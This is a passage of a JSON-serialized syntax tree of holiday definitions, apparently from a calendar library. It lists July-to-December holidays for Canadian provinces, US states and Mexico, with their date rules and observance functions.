Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_nl\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[2020]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_monday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Nunavut Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_nu\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Independence Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Pioneer Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_ut\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Civic Holiday\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_ab\"]},{\"type\":\"sym\",\"children\":[\"ca_bc\"]},{\"type\":\"sym\",\"children\":[\"ca_mb\"]},{\"type\":\"sym\",\"children\":[\"ca_nb\"]},{\"type\":\"sym\",\"children\":[\"ca_ns\"]},{\"type\":\"sym\",\"children\":[\"ca_nt\"]},{\"type\":\"sym\",\"children\":[\"ca_nu\"]},{\"type\":\"sym\",\"children\":[\"ca_on\"]},{\"type\":\"sym\",\"children\":[\"ca_pe\"]},{\"type\":\"sym\",\"children\":[\"ca_sk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Discovery Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_yt\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Victory Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_ri\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Bennington Battle Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_vt\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Statehood Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_hi\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[9]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Labour Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Grito de Dolores\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de la Independencia\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Labor Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Thanksgiving\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_ab\"]},{\"type\":\"sym\",\"children\":[\"ca_bc\"]},{\"type\":\"sym\",\"children\":[\"ca_mb\"]},{\"type\":\"sym\",\"children\":[\"ca_nt\"]},{\"type\":\"sym\",\"children\":[\"ca_nu\"]},{\"type\":\"sym\",\"children\":[\"ca_on\"]},{\"type\":\"sym\",\"children\":[\"ca_qc\"]},{\"type\":\"sym\",\"children\":[\"ca_sk\"]},{\"type\":\"sym\",\"children\":[\"ca_yt\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de la Raza\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Indigenous Peoples Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Alaska Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_ak\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Nevada Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_nv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Halloween\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]},{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[11]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_monday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Remembrance Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_ab\"]},{\"type\":\"sym\",\"children\":[\"ca_sk\"]},{\"type\":\"sym\",\"children\":[\"ca_bc\"]},{\"type\":\"sym\",\"children\":[\"ca_pe\"]},{\"type\":\"sym\",\"children\":[\"ca_nl\"]},{\"type\":\"sym\",\"children\":[\"ca_nt\"]},{\"type\":\"sym\",\"children\":[\"ca_nu\"]},{\"type\":\"sym\",\"children\":[\"ca_nb\"]},{\"type\":\"sym\",\"children\":[\"ca_yt\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Todos los Santos\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Los Fieles Difuntos\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de la Revolución\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Veterans Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Thanksgiving\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"day_after_thanksgiving(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Family Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_nv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"day_after_thanksgiving(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"State Holiday\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_ga\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"day_after_thanksgiving(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Presidents' Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_nm\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"day_after_thanksgiving(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Lincoln's Birthday\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_in\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"day_after_thanksgiving(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"American Indian Heritage Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_md\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"day_after_thanksgiving(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Day after Thanksgiving (Black Friday)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_ca\"]},{\"type\":\"sym\",\"children\":[\"us_de\"]},{\"type\":\"sym\",\"children\":[\"us_fl\"]},{\"type\":\"sym\",\"children\":[\"us_ga\"]},{\"type\":\"sym\",\"children\":[\"us_ia\"]},{\"type\":\"sym\",\"children\":[\"us_il\"]},{\"type\":\"sym\",\"children\":[\"us_ks\"]},{\"type\":\"sym\",\"children\":[\"us_ky\"]},{\"type\":\"sym\",\"children\":[\"us_me\"]},{\"type\":\"sym\",\"children\":[\"us_mi\"]},{\"type\":\"sym\",\"children\":[\"us_mn\"]},{\"type\":\"sym\",\"children\":[\"us_ms\"]},{\"type\":\"sym\",\"children\":[\"us_ne\"]},{\"type\":\"sym\",\"children\":[\"us_nh\"]},{\"type\":\"sym\",\"children\":[\"us_nc\"]},{\"type\":\"sym\",\"children\":[\"us_ok\"]},{\"type\":\"sym\",\"children\":[\"us_or\"]},{\"type\":\"sym\",\"children\":[\"us_pa\"]},{\"type\":\"sym\",\"children\":[\"us_sc\"]},{\"type\":\"sym\",\"children\":[\"us_tn\"]},{\"type\":\"sym\",\"children\":[\"us_tx\"]},{\"type\":\"sym\",\"children\":[\"us_va\"]},{\"type\":\"sym\",\"children\":[\"us_wa\"]},{\"type\":\"sym\",\"children\":[\"us_wv\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[12]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Christmas Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_boxing_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Boxing Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de la Virgen de Guadalupe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Nochebuena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Navidad\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[28]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Los Santos Inocentes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Christmas Eve 